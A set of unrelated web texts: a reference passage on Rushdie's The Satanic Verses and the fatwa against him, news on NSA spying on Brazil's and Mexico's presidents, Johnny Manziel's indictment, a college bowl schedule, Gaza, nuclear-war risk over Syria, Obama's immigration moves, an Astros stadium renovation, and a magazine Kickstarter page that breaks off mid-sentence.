Mecca ("Jahiliyyah"). At its centre is the episode of the so-called satanic verses, in which the prophet first proclaims a revelation in favour of the old polytheistic deities, but later renounces this as an error induced by the Devil. There are also two opponents of the "Messenger": a demonic heathen priestess, Hind bint Utbah, and an irreverent skeptic and satirical poet, Baal. When the prophet returns to the city in triumph, Baal goes into hiding in an underground brothel, where the prostitutes assume the identities of the prophet's wives. Also, one of the prophet's companions claims that he, doubting the authenticity of the "Messenger," has subtly altered portions of the Quran as they were dictated to him.  The second sequence tells the story of Ayesha, an Indian peasant girl who claims to be receiving revelations from the Archangel Gibreel. She entices all her village community to embark on a foot pilgrimage to Mecca, claiming that they will be able to walk across the Arabian Sea. The pilgrimage ends in a catastrophic climax as the believers all walk into the water and disappear, amid disturbingly conflicting testimonies from observers about whether they just drowned or were in fact miraculously able to cross the sea.  A third dream sequence presents the figure of a fanatic expatriate religious leader, the "Imam", in a late-20th-century setting. This figure is a transparent allusion to the life of Ruhollah Khomeini in his Parisian exile, but it is also linked through various recurrent narrative motifs to the figure of the "Messenger".  Literary criticism and analysis [ edit ]  Overall, the book received favourable reviews from literary critics. In a 2003 volume of criticism of Rushdie's career, the influential critic Harold Bloom named The Satanic Verses "Rushdie's largest aesthetic achievement".[7]  Timothy Brennan called the work "the most ambitious novel yet published to deal with the immigrant experience in Britain" that captures the immigrants' dream-like disorientation and their process of "union-by-hybridization". The book is seen as "fundamentally a study in alienation."[2]  Muhammd Mashuq ibn Ally wrote that "The Satanic Verses is about identity, alienation, rootlessness, brutality, compromise, and conformity. These concepts confront all migrants, disillusioned with both cultures: the one they are in and the one they join. Yet knowing they cannot live a life of anonymity, they mediate between them both. The Satanic Verses is a reflection of the author’s dilemmas." The work is an "albeit surreal, record of its own author's continuing identity crisis."[2] Ally said that the book reveals the author ultimately as "the victim of nineteenth-century British colonialism."[2] Rushdie himself spoke confirming this interpretation of his book, saying that it was not about Islam, "but about migration, metamorphosis, divided selves, love, death, London and Bombay."[2] He has also said "It's a novel which happened to contain a castigation of Western materialism. The tone is comic."[2]  After the Satanic Verses controversy developed, some scholars familiar with the book and the whole of Rushdie's work, like M. D. Fletcher, saw the reaction as ironic. Fletcher wrote "It is perhaps a relevant irony that some of the major expressions of hostility toward Rushdie came from those about whom and (in some sense) for whom he wrote."[8] He said the manifestations of the controversy in Britain "embodied an anger arising in part from the frustrations of the migrant experience and generally reflected failures of multicultural integration, both significant Rushdie themes. Clearly, Rushdie's interests centrally include explorations of how migration heightens one's awareness that perceptions of reality are relative and fragile, and of the nature of religious faith and revelation, not to mention the political manipulation of religion. Rushdie's own assumptions about the importance of literature parallel in the literal value accorded the written word in Islamic tradition to some degree. But Rushdie seems to have assumed that diverse communities and cultures share some degree of common moral ground on the basis of which dialogue can be pieced together, and it is perhaps for this reason that he underestimated the implacable nature of the hostility evoked by The Satanic Verses, even though a major theme of that novel is the dangerous nature of closed, absolutist belief systems."[8]  Rushdie's influences have long been a point of interest to scholars examining his work. According to W. J. Weatherby, influences on The Satanic Verses were listed as James Joyce, Italo Calvino, Franz Kafka, Frank Herbert, Thomas Pynchon, Mervyn Peake, Gabriel García Márquez, Jean-Luc Godard, J. G. Ballard and William S. Burroughs.[9] Angela Carter writes that the novel contains "inventions such as the city of Jahilia, 'built entirely of sand,' that gives a nod to Calvino and a wink to Frank Herbert".[10]  Srinivas Aravamudan's analysis of The Satanic Verses stressed the satiric nature of the work and held that while it and Midnight's Children may appear to be more "comic epic", "clearly those works are highly satirical" in a similar vein of postmodern satire pioneered by Joseph Heller in Catch-22.[8]  The Satanic Verses continued to exhibit Rushdie's penchant for organising his work in terms of parallel stories. Within the book "there are major parallel stories, alternating dream and reality sequences, tied together by the recurring names of the characters in each; this provides intertexts within each novel which comment on the other stories." The Satanic Verses also exhibits Rushdie's common practice of using allusions to invoke connotative links. Within the book he referenced everything from mythology to "one-liners invoking recent popular culture".[8]  Controversy [ edit ]  The novel provoked great controversy in the Muslim community for what some Muslims believed were blasphemous references. They accused him of misusing freedom of speech.[11] Pakistan banned the book in November 1988. On 12 February 1989, a 10,000-strong protest against Rushdie and the book took place in Islamabad, Pakistan. Six protesters were killed in an attack on the American Cultural Center, and an American Express office was ransacked. As the controversy spread, the importing of the book was banned in India[12] and it was burned in demonstrations in the United Kingdom.  Meanwhile, the Commission for Racial Equality and a liberal think tank, the Policy Studies Institute, held seminars on the Rushdie affair. They did not invite the author Fay Weldon, who spoke out against burning books, but did invite Shabbir Akhtar, a Cambridge philosophy graduate who called for "a negotiated compromise" which "would protect Muslim sensibilities against gratuitous provocation". The journalist and author Andy McSmith wrote at the time "We are witnessing, I fear, the birth of a new and dangerously illiberal "liberal" orthodoxy designed to accommodate Dr Akhtar and his fundamentalist friends."[13]  Fatwa [ edit ]  In mid-February 1989, following a violent riot against the book in Pakistan, the Ayatollah Ruhollah Khomeini, then Supreme Leader of Iran and a Shi'a Muslim scholar, issued a fatwa calling for the death of Rushdie and his publishers,[14] and called for Muslims to point him out to those who can kill him if they cannot themselves. Although the British Conservative government under Margaret Thatcher gave Rushdie round-the-clock police protection, many politicians on both sides were hostile to the author. British Labour MP Keith Vaz led a march through Leicester shortly after he was elected in 1989 calling for the book to be banned, while the Conservative politician Norman Tebbit, the party's former chairman, called Rushdie an "outstanding villain" whose "public life has been a record of despicable acts of betrayal of his upbringing, religion, adopted home and nationality".[15]  Journalist Christopher Hitchens staunchly defended Rushdie and urged critics to condemn the violence of the fatwa instead of blaming the novel or the author. Hitchens understood the fatwa to be the opening shot in a cultural war on freedom.[16]  Despite a conciliatory statement by Iran in 1998, and Rushdie's declaration that he would stop living in hiding, the Iranian state news agency reported in 2006 that the fatwa would remain in place permanently since fatwas can only be rescinded by the person who first issued them, and Khomeini had since died.[17]  Violence, assassinations and attempts to harm [ edit ]  With police protection, Rushdie escaped direct physical harm, but others associated with his book have suffered violent attacks. Hitoshi Igarashi, his Japanese translator, was stabbed to death on 11 July 1991. Ettore Capriolo [it], the Italian translator, was seriously injured in a stabbing in Milan on 3 July 1991.[18] William Nygaard, the publisher in Norway, was shot three times in an attempted assassination in Oslo in October 1993, but survived. Aziz Nesin, the Turkish translator, was possibly the intended target in the events that led to the Sivas massacre on 2 July 1993 in Sivas, Turkey, which resulted in 37 deaths.[19]  In September 2012, Rushdie expressed doubt that The Satanic Verses would be published today because of a climate of "fear and nervousness".[20]  In March 2016, PEN America reported that the bounty for the Rushdie fatwa was raised by $600,000 (£430,000). Top Iranian media contributed this sum, adding to the existing $2.8m already offered.[21] In response, the Swedish Academy, which awards the Nobel prize for literature, denounced the death sentence and called it "a serious violation of free speech". This was the first time they had commented on the issue since publication.[22]  See also [ edit ]  References [ edit ]
-US spied on presidents of Brazil, Mexico, documents from Snowden reveal  By Tom Eley  3 September 2013  The US National Security Agency eavesdropped on the communications of the presidents of Brazil and Mexico, according to documents gathered by whistleblower Edward Snowden and revealed by journalist Glenn Greenwald to the Brazilian television news program Fantastico.  The news program displayed a slide from the NSA with passages written by Mexican President Enrique Pena Nieto from June 2012, when he was a candidate for the presidency. The excerpts show Nieto discussing what ministers he might select should he win election. They make clear the NSA was reading Nieto’s e-mails.  A second slide showed an NSA analysis of internal communication patters between Brazilian President Dilma Rousseff and leading advisers. The NSA also used a program to follow all internet content that Rousseff accessed, and deployed another that would have allowed them to read her e-mails.  Both slides were part of internal NSA demonstrations of the efficacy and potential of their spying programs and technologies.  “It was very clear in the documents that they had already carried out the spying,” Greenwald, speaking Portuguese, said of the Brazil revelations on Fantastico. “They aren’t talking about something they are planning, they are celebrating their spying successes.”  The new revelations follow the July release of documents showing that Brazil and all of Latin America are subject to a massive NSA spying program targeting all forms of telecommunications. The NSA has harvested billions of communications in Brazil alone (see: “NSA casts massive surveillance net over Latin America”).  In response to the publication of the new documents, Rousseff on Monday summoned US Ambassador Thomas Shannon for an explanation and called a top-level cabinet meeting that included the ministers of defense, justice, communications and foreign affairs “to discuss the espionage report,” according to the Associated Press.  The revelations “should be considered very serious and constitute a clear violation of Brazilian sovereignty,” said Justice Minister Jose Eduardo Cardozo. “This [spying] hits not only Brazil, but the sovereignty of several countries that could have been violated in a way totally contrary to what international law establishes.”  “If it’s confirmed it is very serious because a country cannot passively accept the violation of its sovereignty,” he said. “Any country that has its sovereignty violated has to react, take a position and use international law to put things in their place. And that’s what Brazil will do.”  Cardozo acknowledged the new documents show that the NSA spying is about more than combating terrorism—the constant refrain from the Obama administration—and had political targets and may have even gone as far as commercial espionage. Another Brazilian government official said that the revelations may lead Brazil to scrap plans for the purchase of 36 F-18 fighter jets from US manufacturer Boeing, a deal estimated at about $4 billion.  “I feel a mixture of amazement and indignation,” said Senator Ricardo Ferraco, chair of the Brazilian Senate’s foreign relations committee. “It seems like there are no limits. When the phone of the president of the republic is monitored, it’s hard to imagine what else might be happening. It’s unacceptable that in a country like ours, where there is absolutely no climate of terrorism, that there is this type of spying.”  There was no official comment from Mexico, but in July Nieto declared that it would be “totally unacceptable” for the US to have engaged in espionage against Mexico.  There has been no comment from the Obama administration.  It is noteworthy that when Edward Snowden was stranded at the international section of the Moscow airport seeking refuge from the persecution of the American state, both Brazil and Mexico ruled out granting him asylum.
-John Barr reacts to the news that former Browns QB Johnny Manziel has been indicted by a grand jury on a misdemeanor charge from a domestic violence complaint by his ex-girlfriend. (1:44)  DALLAS -- Former Cleveland Browns quarterback Johnny Manziel was indicted by a grand jury on Tuesday on a misdemeanor charge stemming from a domestic violence complaint by his ex-girlfriend.  The 2012 Heisman Trophy winner and Texas A&M star was accused by ex-girlfriend Colleen Crowley of hitting her and threatening to kill her during a night out on Jan. 30. Crowley said in court documents that Manziel struck her so hard that she temporarily lost hearing in one ear.  The indictment accuses Manziel of striking Crowley and "forcing [her] into a vehicle and against a vehicle dashboard."  Editor's Picks Johnny Manziel timeline since being drafted by Cleveland Browns Timeline: Johnny Manziel's indictment stemming from a domestic violence complaint was the latest incident in a turbulent period since Manziel was taken 22nd in the 2014 draft by the Browns.  Transcript: Johnny Manziel's attorney's statement about indictment Johnny Manziel's attorney released a statement in the wake of an indictment stemming from a domestic violence complaint, and it includes a proclamation that his client will plead not guilty and be acquitted. 1 Related  Manziel faces a charge of misdemeanor assault related to family violence. If found guilty, he faces up to one year in jail and a $4,000 fine.  An attorney for Manziel, Robert Hinton, told the Associated Press on Tuesday that the way the indictment has been handled so far suggests there are problems with the case and that his client will plead not guilty.  "If this were Johnny Smith, the district attorney's office would have declined to accept the case, in my judgment," Hinton said in a phone interview Tuesday. "This is not a very credible case. As a matter of fact, it's incredible. There's just not much to it."  Hinton said he thought police and prosecutors had treated the case as though they didn't want it to go forward. Lawyers who aren't involved in the case have noted that Dallas police chose to refer their case to a grand jury rather than arrest Manziel outright, which is unusual for misdemeanor cases.  Hinton said he did not anticipate making a deal to end the case before trial, though he said talks of any deal were premature.  Jim Darnell, another of Manziel's attorneys, issued a statement Tuesday saying his client "will be acquitted at the conclusion of this case."  Johnny Manziel faces a charge of misdemeanor assault related to family violence, which carries up to one year in jail and a $4,000 fine. His attorney said Manziel "will certainly" plead not guilty. AP Photo/Don Wright  Manziel is in Los Angeles, but is expected to present himself for booking Thursday or Friday, once the case is formally assigned to a judge and bond is set, Hinton said.  "He's got a great attitude," Hinton said. "He's ready to face it and do what we need to do to defend him."  Dallas County District Attorney Susan Hawk said in a statement Tuesday that prosecutors "respect the criminal justice process and the decision" by the grand jury. A spokeswoman for Hawk declined to comment further.  Crowley has already been granted a protective order that requires Manziel to not see her for two years, stay at least 500 feet from her home and place of work and pay $12,000 in legal fees.  Manziel was cut by the Browns in March after two tumultuous seasons marked by inconsistent play and off-the-field headlines about his partying and drinking, including one stint in rehab. His future in the NFL is uncertain at best, and might be nonexistent without a second stint in treatment that two agents have demanded. The league also has tougher standards regarding domestic violence cases after revising its policy in August 2014 following the Ray Rice case, which could complicate any attempt by Manziel to return.  The allegations stem from a night out on Jan. 30. Crowley alleged Manziel accosted her at a Dallas hotel, a confrontation that eventually continued downstairs to the valet station. She said he forced her into a car and a valet disregarded her pleas for help.  The two eventually drove to where her car was parked in front of a Dallas bar, she said in an affidavit. She said Manziel got into the driver's seat and began to drive. Crowley said Manziel stopped when she tried to jump out of the car, but then he dragged her back inside and hit her.  She also said Manziel threatened to kill himself as he drove her back to Fort Worth, about 30 miles west of Dallas, where police were called.  In the wake of the allegations, Manziel's father said the family had made two recent, unsuccessful attempts to get him into a rehab clinic. Manziel -- who entered the NFL with a reputation for partying and drinking -- spent 73 days last winter in a Pennsylvania treatment center specializing in care for alcohol and drug dependency.  Manziel's second agent, Drew Rosenhaus, dropped Manziel last week. His marketing agency dropped him before the charges were filed, and Nike confirmed last week that it no longer has an endorsement deal with Manziel.  The Associated Press contributed to this report.
-College Football Playoff  Monday, Jan. 1  Semifinal No. 1 - Rose Bowl  No. 2 Oklahoma (12-1) vs. No. 3 Georgia (12-1)  5 p.m. ET, Rose Bowl - Pasadena, Calif.  Semifinal No. 2 - Sugar Bowl  No. 1 Clemson (12-1) vs. No. 4 Alabama (11-1)  8:45 p.m. ET, Mercedes-Benz Superdome - New Orleans, La.  Monday, Jan. 8  College Football Playoff National Championship  Winner of Semifinal No. 1 vs. Winner of Semifinal No. 2  8:30 p.m. ET, Mercedes-Benz Stadium - Atlanta, Ga.  Entire Bowl Schedule  Saturday, Dec. 16  New Orleans Bowl  Troy (10-2) vs. North Texas (9-4)  1 p.m. ET, Mercedes-Benz Superdome - New Orleans, La.  Cure Bowl  Georgia State (6-5) vs. Western Kentucky (6-6)  2:30 p.m. ET, Camping World Stadium - Orlando, Fla.  Las Vegas Bowl  No. 25 Boise State (10-3) vs. Oregon (7-5)  3:30 p.m. ET, Sam Boyd Stadium - Las Vegas, Nev.  New Mexico Bowl  Marshall (7-5) vs. Colorado State (7-5)  4:30 p.m. ET, Dreamstyle Stadium - Albuquerque, N.M.  Camellia Bowl  Arkansas State (7-4) vs. Middle Tennessee (6-6)  8 p.m. ET, Cramton Bowl - Montgomery, Ala.  Tuesday, Dec. 19  Boca Raton Bowl  Florida Atlantic (10-3) vs. Akron (7-6)  7 p.m. ET, FAU Stadium - Boca Raton, Fla.  Wednesday, Dec. 20  Frisco Bowl  SMU (7-5) vs. Louisiana Tech (6-6)  8 p.m. ET, Toyota Stadium - Frisco, Texas  Thursday, Dec. 21  Gasparilla Bowl  Florida International (8-4) vs. Temple (6-6)  8 p.m. ET, Tropicana Field - St. Petersburg, Fla.  Friday, Dec. 22  Bahamas Bowl  Ohio (8-4) vs. UAB (8-4)  12:30 p.m. ET, Robinson National Stadium - Nassau, Bahamas  Famous Idaho Potato Bowl  Central Michigan (8-4) vs. Wyoming (7-5)  4 p.m. ET, Albertsons Stadium - Boise, Idaho  Saturday, Dec. 23  Birmingham Bowl  South Florida (9-2) vs. Texas Tech (6-6)  12 p.m. ET, Legion Field - Birmingham, Ala.  Armed Forces Bowl  San Diego State (10-2) vs. Army (8-3)  3:30 p.m. ET, Amon G. Carter Stadium - Fort Worth, Texas  Dollar General Bowl  Toledo (11-2) vs. Appalachian State (8-4)  8 p.m. ET, Ladd-Peebles Stadium - Mobile, Ala.  Sunday, Dec. 24  Hawaii Bowl  Fresno State (9-4) vs. Houston (7-4)  8:30 p.m. ET, Aloha Stadium - Honolulu, Hawaii  Tuesday, Dec. 26  Heart of Dallas Bowl  Utah (6-6) vs. West Virginia (7-5)  1:30 p.m. ET, Cotton Bowl - Dallas, Texas  Quick Lane Bowl  Duke (6-6) vs. Northern Illinois (8-4  5:15 p.m. ET, Ford Field - Detroit, Mich.  Cactus Bowl  UCLA (6-6) vs. Kansas State (7-5)  9:00 p.m. ET, Chase Field - Phoenix, Ariz.  Wednesday, Dec. 27  Independence Bowl  Florida State (6-6) vs. Southern Mississippi (8-4)  1:30 p.m. ET, Independence Stadium - Shreveport, La.  Pinstripe Bowl  Boston College (7-5) vs. Iowa (7-5)  5:15 p.m. ET, Yankee Stadium - New York, N.Y.  Foster Farms Bowl  Arizona (7-5) vs. Purdue (6-6)  8:30 p.m. ET, Levi's Stadium - Santa Clara, Calif.  Texas Bowl  Missouri (7-5) vs. Texas (6-6)  9 p.m. ET, NRG Stadium - Houston, Texas  Thursday, Dec. 28  Military Bowl  Virginia (6-6) vs. Navy (6-5)  1:30 p.m. ET, Navy-Marine Corps Memorial Stadium - Annapolis, Md.  Camping World Bowl  No. 19 Oklahoma State (9-3) vs. No. 22 Virginia Tech (9-3)  7 p.m. ET, Camping World Stadium - Orlando, Fla.  Alamo Bowl  No. 13 Stanford (9-4) vs. No. 15 TCU (10-3)  9 p.m. ET, Alamodome - San Antonio, Texas  Holiday Bowl  No. 16 Michigan State (9-3) vs. No. 18 Washington State (9-3)  5:30 p.m. ET, Qualcomm Stadium - San Diego, Calif.  Friday, Dec. 29  Belk Bowl  Wake Forest (7-5) vs. Texas A&M (7-5)  1:00 p.m. ET, Bank of America Stadium - Charlotte, N.C.  Sun Bowl  No. 24 NC State (8-4) vs. Arizona State (7-5)  3 p.m. ET, Sun Bowl - El Paso, Texas  Music City Bowl  No. 21 Northwestern (9-3) vs. Kentucky (7-5)  4:30 p.m. ET, Nissan Stadium - Nashville, Tenn.  Arizona Bowl  New Mexico State (6-6) vs. Utah State (6-6)  5:30 p.m. ET, Arizona Stadium - Tucson, Ariz.  Cotton Bowl  No. 5 Ohio State (11-2) vs. No. 8 USC (11-2)  8:30 p.m. ET, AT&T Stadium - Arlington, Texas  Saturday, Dec. 30  TaxSlayer Bowl  No. 23 Mississippi State (8-4) at Louisville (8-4)  12 p.m. ET, EverBank Field - Jacksonville, Fla.  Liberty Bowl  No. 20 Memphis (10-2) vs. Iowa State (7-5)  12:30 p.m. ET, Liberty Bowl Memorial Stadium - Memphis, Tenn.  Fiesta Bowl  No. 9 Penn State (10-2) vs. No. 11 Washington (10-2)  4 p.m. ET, University of Phoenix Stadium, Glendale, Ariz.  Orange Bowl  No. 6 Wisconsin (12-1) vs. No. 10 Miami (10-2)  8 p.m. ET, Hard Rock Stadium - Miami Gardens, Fla.  Monday, Jan. 1  Outback Bowl  Michigan (8-4) vs. South Carolina (8-4)  12 p.m. ET, Raymond James Stadium - Tampa, Fla.  Peach Bowl  No. 7 Auburn (10-3) vs. No. 12 UCF (12-0)  12:30 p.m. ET, Mercedes-Benz Stadium - Atlanta, Ga.  Citrus Bowl  No. 14 Notre Dame (9-3) vs. No. 17 LSU (9-3)  12:30 p.m. ET, Camping World Stadium - Orlando, Fla.  Semifinal No. 1 - Rose Bowl  No. 2 Oklahoma (12-1) vs. No. 3 Georgia (12-1)  5 p.m. ET, Rose Bowl - Pasadena, Calif.  Semifinal No. 2 - Sugar Bowl  No. 1 Clemson (12-1) vs. No. 4 Alabama (11-1)  8:45 p.m. ET, Mercedes-Benz Superdome - New Orleans, La.  Monday, Jan. 8  College Football Playoff National Championship  Winner of Semifinal No. 1 vs. Winner of Semifinal No. 2  8:30 p.m. ET, Mercedes-Benz Stadium - Atlanta, Ga.
-Israel has said the aim of the past three days of intense bombing in Gaza is to stop rockets being fired by Palestinian militants into southern Israeli towns.  The rockets have claimed 19 lives in the past eight years, but have become an increasingly serious problem for the Israeli government.  To reduce the rocket fire, Israeli military analysts argue, is a modest goal. However, even within Israel there remain sharp differences of opinion about how to achieve that. Most believe the latest conflict will eventually end with a new lull in the fighting, or at best another short-term ceasefire agreement - the latest in a long line of temporary ceasefires in the conflict between Israel and militants in Gaza.  Although Israel has put in place some preparations for a ground invasion, including preparing a call-up of reserves and deploying tanks near the Gaza border, that is still not seen as an inevitable step.  Shlomo Brom, a retired Israeli general and a military analyst at the Institute for National Strategic Studies in Tel Aviv, said the point of the conflict was for Israel to exact the best conditions for a future ceasefire with Hamas, the Islamist movement which controls Gaza after winning Palestinian elections three years ago.  "The military operation is changing the dynamic, making it clear to Hamas that it is going to pay a very high cost for violations of the ceasefire," Brom said. "I think Hamas deluded itself by thinking Israel is kind of paralysed because of its political system or the possible reaction of its population to some suffering."  For nearly six months Israel and Hamas held a ceasefire in Gaza, although it broke down in the final weeks with violations on both sides. Now both Hamas and some Israeli leaders have said they are not willing to return to a ceasefire deal.  Ehud Barak, Israel's defence minister, told Fox News on Saturday when the bombing began: "For us to be asked to have a ceasefire with Hamas is like asking you [the US] to have a ceasefire with al-Qaida."  The reality is that a new ceasefire agreement is probably the best Israel could hope to achieve. As Alex Fishman, a columnist on the Yedioth Ahronoth newspaper, put it bluntly yesterday: "The answer to the question of what we want is simple: To stop the fire. In order to stop the fire, we have to reach an arrangement, and in order to persuade Hamas to reach an arrangement, we are now breaking its bones - among other reasons, so that the price it demands will not be high. But we have not yet decided, amongst ourselves, what price we are willing to pay."  Yet there are others who raise broader questions about Israel's policy towards Gaza, particularly in the last three years since Hamas won the electoral victory.  Yossi Alpher, a former official at Mossad and a military commentator, agreed that Israel was seeking a ceasefire on more acceptable terms. But he was critical of the tough economic blockade Israel has imposed on the Gaza Strip in recent years, limiting imports to humanitarian supplies and preventing all exports, a policy that has all but wiped out private industry and brought Gaza's economy to collapse. "The economic siege of Gaza has not produced any of the desired political results," he said. "It has not manipulated Palestinians into hating Hamas, but has probably been counter-productive. It is just useless collective punishment."  He said that in future Israel would have to choose either to recognise Hamas was around to stay and to talk to the movement, however unpalatable that might be for most Israelis, or to fully reoccupy the Gaza Strip, topple Hamas and bear all the costs involved.  Some have even spoken publicly against the current bombing in Gaza. Tom Segev, one of Israel's most respected historians, has been particularly critical, arguing that the premise of bombing to secure a peace agreement was false.  "Israel has also always believed that causing suffering to Palestinian civilians would make them rebel against their national leaders. This assumption has proven wrong over and over," Segev wrote in yesterday's Ha'aretz newspaper. "Since the dawn of the Zionist presence in the land of Israel, no military operation has ever advanced dialogue with the Palestinians."
-Turkey previously shot down a Russian jet.  Now, Turkey and Saudi Arabia are threatening to invade Syria.  How dangerous could this get, in a worst case scenario?  Robert Parry – the investigative reporter who broke the Iran-Contra story for the Associated Press and Newsweek – wrote yesterday:  A source close to Russian President Vladimir Putin told me that the Russians have warned Turkish President Recep Tayyip Erdogan that Moscow is prepared to use tactical nuclear weapons if necessary to save their troops in the face of a Turkish-Saudi onslaught. Since Turkey is a member of NATO, any such conflict could quickly escalate into a full-scale nuclear confrontation.  Washington’s Blog asked one of America’s top experts on Russia – Stephen Cohen, professor emeritus of Russian studies and politics at New York University and Princeton University, and the author of a number of books on Russia and the Soviet Union – what he thought of Parry’s claim.  Cohen said:  Parry is a serious man [“serious” is the highest compliment that an insider can give to someone]. I cannot say it will lead to nuke war, but it is very dangerous, as is quadrupling US/NATO forces near Russia’s borders.  Pavel Felgenhauer – a leading Russian military analyst – also believes that a nuclear war is “very likely” to arise from Russia’s skirmishes with Turkey in Syria.  Last December, U.S. Congresswoman Tulsi Gabbard – a Member of the House Armed Services Committee, Iraq war veteran, and Major in the Hawaii Army National Guard – warned that U.S. policy in Syria could lead to a nuclear war. And see this.  Also in December, retired Lieutenant General Robert Gard, chairman emeritus of the Center for Arms Control and Nonproliferation, retired Brigadier General John H. Johns, professor emeritus from US National Defense University, and Leslie Gelb, president of the Council on Foreign Relations, penned an article in Foreign Policy calling for US-Russia cooperation to de-escalate current tensions and diffuse the increasing worrisome nuclear blustering.  American security expert Bruce Blair – a former nuclear-missile launch officer – notes that Turkey’s downing of the Russian warplane at the Syrian-Turkish border “fits a pattern of brinkmanship and inadvertence that is raising tensions and distrust between Russia and US-led NATO,” and that “this escalation could morph by design or inadvertence into a nuclear threat.”  Blair writes that the threat of nuclear war is higher now that during the Soviet era:  Russia has shortened the launch time from what it was during the Cold War. Today, top military command posts in the Moscow area can bypass the entire human chain of command and directly fire by remote control rockets in silos and on trucks as far away as Siberia in only 20 seconds. Why should this concern us? History shows that crisis interactions, once triggered, take on a life of their own. Military encounters multiply; they become more decentralized, spontaneous and intense. Safeguards are loosened and unfamiliar operational environments cause accidents and unauthorized actions. Miscalculations, misinterpretations and loss of control create a fog of crisis out of which a fog of war may emerge. In short, the slope between the low-level military encounters, the outbreak of crisis and escalation to a nuclear dimension is a steep and slippery one.  (Indeed, the U.S. and Soviets came within seconds of all-out nuclear war on numerous occasions. And only the courage of U.S. and Soviet individuals to say no when their superiors told them to fire nuclear weapons – in the face of mistaken readings – saved the planet from nuclear war.)  Russia expert Stephen Cohen agrees that the risks of nuclear war are much higher than people know, telling the Commonwealth Club last year that the threat of nuclear war with Russia is now greater than it was with the Soviets.  Former U.S. Secretary of Defense William Perry agrees that the risk of nuclear war is higher than during the Soviet era.  Postscript: Top Russian, American and Polish experts also warn that continued fighting in Ukraine could lead to nuclear war.
-Saying he’s grown frustrated with waiting for congressional Republicans, an angry President Barack Obama said Monday he will bypass Congress and act on his own to make changes to immigration policy by the end of the summer.  Obama spoke Monday from the Rose Garden, where he slammed House Republicans for being too accommodating to the conservative, anti-immigration wing of their party and chided House leadership for not working to pass a “darn bill.”  “They’re unwilling to stand up to the Tea Party and do what’s right for the country. And what’s worse — a bunch of them know better,” Obama said in the Rose Garden, where he was joined by Vice President Joe Biden.  A White House official said earlier Monday that Obama’s new moves came after House Speaker John Boehner told him last week the House will not vote on immigration-related legislation this year. Obama said Boehner informed him Republicans will not vote “at least for the remainder of this year.” The president has faced pressure from immigration advocates to stem the tide of deportations in lieu of waiting for congressional legislation.  Obama said he will direct Homeland Security Department Secretary Jeh Johnson and Attorney General Eric Holder to present him with executive actions he can take without congressional approval by the end of the summer. He said he will implement them “without further delay.”  Obama also announced he will direct his administration to move enforcement resources from the interior to the border, amid a staggering humanitarian crisis on the U.S.-Mexico border. Obama said the border crisis only underscores the need for Congress to pass legislation.  “The President will continue to make clear that regardless of the steps he takes through administrative action, nothing replaces Congress’s ability to pass commonsense immigration reform, and will continue to make the case for a comprehensive bill,” the White House official said early Monday.  Business Insider Emails & Alerts Site highlights each day to your inbox. Email Address Join  Follow Business Insider Australia on Facebook, Twitter, LinkedIn, and Instagram.
-The Houston Astros have broken ground for the renovation of center field at Minute Maid Park. That includes the removal or an iconic feature of this particular park.  The renovations now underway include improved seating, although the stadium capacity remains about the same. There’ll be new food and beverage options. And there’ll be revisions to the playing field, including the removal of Tal’s Hill — the 90-foot wide center field incline named for former team president Tal Smith. It has a deep-center wall that’s 436 feet from home plate. But with the redesign of center field, the fence will be 409 feet away.  Astros owner Jim Crane says the new design was influenced by feedback from fans, as well as former and current players. “Yeah, the players, you know, they all have their opinion. I mean, you know, when we looked at it statistically, and certainly, you know, we have the guys to do that, it’s pretty neutral. So, it’s not a big deal, we just think it helps us utilize the park. You know, taking in all that into consideration, we’re just really trying to improve the ball park and the ball park experience. Impacting the game, we don’t think there’ll be that much.”  Astros President Reid Ryan says the things fans will appreciate most can’t be seen in photos of the center field work. “The bigger concourses, the fact that we’re going to add more gates. By the time we get to opening day, people are going to be really excited.”  Renovations are expected to be complete for the 2017 season. Reid says it’s a shame work was able to start early, because the Astros weren’t in the playoffs. “I think when we thought about when are we gonna do this press conference, all of us were hoping for November. And unfortunately, you know, we had injuries and our bullpen got taxed and I think people know we’re building this with a lot of October baseball in mind.”  The Astros hit ten balls to Tal’s Hill this season for extra bases, all of which would be home runs in the renovated center field area.
-If you've arrived here too late and still want to subscribe to Year 2 of NF Magazine, you can do so directly through our online store by clicking right here! For a limited time after the conclusion of the campaign, subscriptions through the website will also qualify to receive the free print copy of Issue #1 that was unlocked as a stretch goal here! So get moving!  Below, the campaign page's contents from its final day, preserved:  Hey there, Kickstarter audience! Thanks for checking out NF Magazine, coming to you from the Nintendo Force. Maybe you've already heard of us, and maybe you haven't. But whether you've been with us from the beginning or you're just now jumping on board, this campaign is the place to join the Force for 2014!  Our funding goal has been achieved! We're now using the remaining days of our campaign to push forward and hit stretch goals to enhance our Year 2 issues and add bonuses to everyone's subscriptions!  Don't miss the new Update #12! You do want some free video games, don't you?  If you've already subscribed by making a pledge and choosing a tier, you might now want to consider adding on some add-ons! Add-ons are extra things that you can tag onto your existing subscription order, if you want to. They're optional, and not everyone will want or need to take advantage of them. But they're pretty snazzy enhancements to your Year 2 subscription if you do choose to go for them!  Here's how add-ons work:  STEP 1: Click the "Manage Your Pledge" button up near the top of the campaign page.  STEP 2: Increase your pledge amount by the number equivalent to the add-on(s) you want. Don't change your pledge tier! Add-ons aren't new tiers you're picking, they're just tagged on to the tier you already picked.  EXAMPLE: Say your pledge tier selection is the $25 Early Bird Print Subscription. If you want to upgrade that print subscription to first-class shipping speed, you'd add on $7 to your earlier pledge amount of $25, making it $32 instead. You'll then confirm with us in your backer survey after the campaign's over that you want the first-class add-on, and you're all set!  Got it? Here are your add-on options, starting with the one we just used for that example:  For more details about the first two add-ons, please read Update #6! It's got the full explanations for them. For the second pair of add-ons, check out the full explanations in Update #14. And if you've got more questions after that, hit us up using the Message function here and we'll answer them for you!  Here's where the fun really begins! We've already hit our bottom-line funding goal of $49,000, so we've raised enough money to pay for the printing, packaging and shipping costs of all of our Year 2 issues. But if we can now go above $49k, we can start enhancing those issues and offering our subscribers some fun bonuses too. Take a look:  Stretch Goal #1 has been hit! We'll celebrate the success of our Kickstarter campaign by giving all of our backers new desktop wallpaper versions of Thor's art seen in the campaign video above – the Mighty No. 9 cast illustration first published in Issue #6, and the "They Can Dig It!" piece that brought together Shovel Knight, Dig Dug, Drill Man and all of the rest of gaming's most notable digging characters in Issue #7.  Stretch Goal #2 has been achieved! We'll now be able to begin realizing one of our early dreams for the magazine – including physical, fold-out posters with original artwork, suitable for hanging on your wall. (Just like the classic Nintendo Power issues did, except that our posters won't be stapled into the issue, forcing you to rip them to remove them.) Thor is already hard at work on this first poster, and it will have a Mario Kart focus to tie in with Issue #8's coverage of Mario Kart 8. (Digital subscribers will get this art in desktop wallpaper form.)  Stretch Goal #3 has been smashed! This one 